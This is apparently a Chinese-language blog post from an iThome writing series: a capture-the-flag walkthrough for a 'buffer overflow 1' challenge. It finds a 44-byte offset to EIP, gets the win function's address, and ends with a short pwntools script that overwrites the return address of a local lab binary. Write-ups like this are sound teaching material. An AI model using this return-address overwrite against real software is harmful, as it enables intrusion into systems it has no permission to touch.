iT邦幫忙

2024 iThome 鐵人賽

DAY 17
0
佛心分享-刷題不只是刷題

CTF 刷題系列 第 17

CTF Day 17 Binary(buffer overflow 1)

  • 分享至 

  • xImage
  •  

題目 buffer overflow 1

https://ithelp.ithome.com.tw/upload/images/20241001/20155574QlNLO7I8uy.png

一樣可以看到 buffer size 是 32
https://ithelp.ithome.com.tw/upload/images/20241001/20155574r8Ud7nSQsT.png

要則麼拿到flag

可以看到 vuln 函式的 printf 會回傳 address 的位置
https://ithelp.ithome.com.tw/upload/images/20241001/20155574OIo9SJbwUp.png

所以只要把這裡改成 win 函式的地址就可以拿到flag了
就像下方這樣(如果我有理解錯誤,或是畫錯圖都歡迎糾正我)
https://ithelp.ithome.com.tw/upload/images/20241001/20155574LpMaFifVkr.png

所以我們的目標是要 "覆蓋到” return address(eip) 的地方
pattern create 100
https://ithelp.ithome.com.tw/upload/images/20241001/20155574uo1dvAD6Vw.png
https://ithelp.ithome.com.tw/upload/images/20241001/20155574YO01Ty50nY.png
https://ithelp.ithome.com.tw/upload/images/20241001/20155574UIeOZ2eAuT.png

找一下那字串所在的地方,這 offset 44 代表那個 字串輸入了44個才到 EIP
https://ithelp.ithome.com.tw/upload/images/20241001/20155574XbAC6ZlBV8.png

win函式address
https://ithelp.ithome.com.tw/upload/images/20241001/20155574HL6VZS9IIi.png

因為執行檔是 32 bit LSB
https://ithelp.ithome.com.tw/upload/images/20241001/20155574NkFofVQgBK.png

用 pwntools轉為LSB
https://ithelp.ithome.com.tw/upload/images/20241001/20155574m3ZFCzSGcl.png

Script

from pwn import *

r = process("./vuln")
r.recvuntil(b"Please enter your string:")
r.sendline(b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf6\x91\x04\x08")
print(r.recvall())

https://ithelp.ithome.com.tw/upload/images/20241001/201555742pfGwqn3HN.png


上一篇
CTF Day 16 Binary(buffer overflow 0)
下一篇
CTF Day 18 Binary(buffer overflow 2)
系列文
CTF 刷題19
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言